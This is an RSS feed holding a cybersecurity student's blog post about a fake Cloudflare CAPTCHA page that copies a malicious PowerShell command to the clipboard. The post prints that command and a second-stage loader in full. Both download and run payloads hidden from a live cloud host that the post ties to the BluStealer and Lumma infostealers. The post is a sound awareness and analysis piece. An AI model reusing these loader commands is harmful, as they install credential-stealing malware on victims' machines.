<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Oyedeji Hiqmat on Medium]]></title>
        <description><![CDATA[Stories by Oyedeji Hiqmat on Medium]]></description>
        <link>https://medium.com/@oyedejihiqmat?source=rss-6487de55c79e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*AlG2ZOcELFA4mNK6</url>
            <title>Stories by Oyedeji Hiqmat on Medium</title>
            <link>https://medium.com/@oyedejihiqmat?source=rss-6487de55c79e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 13:03:51 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@oyedejihiqmat/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[My Experience with a Social Engineering Attack]]></title>
            <link>https://medium.com/@oyedejihiqmat/my-experience-with-a-social-engineering-attack-296cb8423b70?source=rss-6487de55c79e------2</link>
            <guid isPermaLink="false">https://medium.com/p/296cb8423b70</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity-awareness]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Oyedeji Hiqmat]]></dc:creator>
            <pubDate>Thu, 12 Dec 2024 09:04:21 GMT</pubDate>
            <atom:updated>2024-12-12T11:42:05.450Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/318/0*Lu52bTqOPoUqKM8H" /></figure><p>According to KnowB4, 97% of malware attacks rely on some degree of social engineering. You would be surprised to know the number of people who fall victim to social engineering attacks daily. Some social engineering attacks can be spotted easily but attackers keep getting better day by day creating more realistic and convincing schemes.</p><p>As a cybersecurity student, I am quite familiar with the term ‘social engineering’ and have heard many stories of people falling victim to it. Still, I had never personally been targetted until recently, when I was using a website and was redirected to this page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fFdfWnNUsoGofdADk3lTvw.png" /></figure><p>At first, it seemed fishy cause I make use of the internet daily and have come across hundreds of captcha pages, especially Cloudflare’s. However, something about this page didn&#39;t seem like the usual Cloudfare captcha page. At that moment, I couldn&#39;t pinpoint what seemed off but it didn&#39;t just look right. I proceeded and clicked the verify button cause I believed it was probably me overthinking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*STlXFxFFKOBVRXqmcMiRlg.png" /></figure><p>This made it clear I wasn&#39;t overthinking, and something wasn&#39;t right. At this point, I was sure it was a social engineering attack(phishing), but I was curious as to what the attacker&#39;s motive was. I carefully followed the steps while still ensuring I didn&#39;t execute anything.<br>Apparently, a Powershell script has been copied to the clipboard secretly when the verify button was clicked. When a user presses ctrl +v and presses enter it runs this Powershell script.</p><pre>powershell.exe -W Hidden -command $url = &#39;https://zip-store.oss-ap-southeast-<br>1.aliyuncs.com/marry.txt&#39;; $response = Invoke-WebRequest - Uri $url - UseBasicParsing;<br>$text = $response.Content; iex $text</pre><p>The command runs the PowerShell script in a hidden window, downloads a file called marry.txt, and executes the marry.txt file. The content of the marry.txt file:</p><pre>powershell.exe -W Hidden -command $url = &#39;https://zip-store.oss-ap-southeast-<br>1.aliyuncs.com/marry.txt&#39;; $response = Invoke-WebRequest - Uri $url - UseBasicParsing;<br>$text = $response.Content; iex $text<br>$rtsy = &#39;https://zip-store.oss-ap-southeast-1.aliyuncs.com/marry.zip&#39;<br>$kplm = &quot;$env:APPDATA\downloaded_package.zip&quot;<br>$gyxt = &quot;$env:APPDATA\ExtractedApp&quot;<br>$wdxn = Join-Path $gyxt &#39;Setup.exe&#39;<br>if (-not (Test-Path $gyxt)) {<br>New-Item - Path $gyxt - ItemType Directory | Out-Null<br>}<br>try {<br>$htws = New-Object System.Net.WebClient<br>$htws.DownloadFile($rtsy, $kplm)<br>} catch {<br>exit<br>}<br>try {<br>Expand-Archive - Path $kplm - DestinationPath $gyxt - Force<br>Remove-Item $kplm - Force<br>} catch {<br>exit<br>}<br>try {<br>Start-Process - FilePath $wdxn - WindowStyle Hidden<br>} catch {<br>exit<br>}</pre><p>This code downloads another file called marry.zip and saves it on APPDATA. APPDATA is a hidden folder on Windows used to store application data files and serves as a good place for an attacker to avoid detection by some security tools and allows them to place their malicious files without requiring administrative permission. The script extracts files from marry.zip and runs the main payload called setup.exe from the extracted file in a hidden window.</p><p>I couldn&#39;t safely extract the zip file as Windows Defender kept removing the file even after multiple attempts to disable Windows Defender. Windows Defender flagged the file as <strong>trojan:script wacatac.H!ml.</strong></p><p>I searched the domain used by the marry.txt script to download the malicious file on VirusTotal. It turns out the domain is associated with <strong>BluStealer</strong> and <strong>Lumma</strong>, two dangerous malware programs. <br>BluStealer is a crypto-stealer, keylogger, and document uploader, while Lumma is an Info-stealer, a form of malware that steals data from browsers, cryptocurrency wallets, password managers, and messaging applications.</p><p>A successful attack would have stolen my sensitive data, such as passwords and the rest, and sent it to the attacker&#39;s command and control center.</p><p><strong>Conclusion</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/384/1*40bDFkC356HI-MDwCC9RsQ.png" /><figcaption>A legitimate cloudfare captcha</figcaption></figure><p>When comparing the CAPTCHA page I encountered with the legitimate one, I noticed only a few minor differences — details that someone who doesn’t frequently see this page might easily overlook. For example, the <strong>privacy</strong> and<strong> terms</strong> links that are right under the Cloudflare logo. While it alone, can’t prove the captcha is fake but it was a clue as many modern Cloudfare captcha pages have it. It became clear that it was fake when it requested for the users to run a code from their laptop in order to verify, which a legitimate Cloudflare page would never do.</p><p>Windows Defender is there to protect your system, never turn it off. Windows Defender does a good job of protecting against viruses like this. Although I had to make some adjustments, Windows Defender prevented the file from being downloaded in APPDATA (it kept removing it) and also blocked the zip file from being extracted.</p><p>Finally, always be suspicious of anything unusual that you come across on the internet.</p><p>Stay cyber safe💜</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=296cb8423b70" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>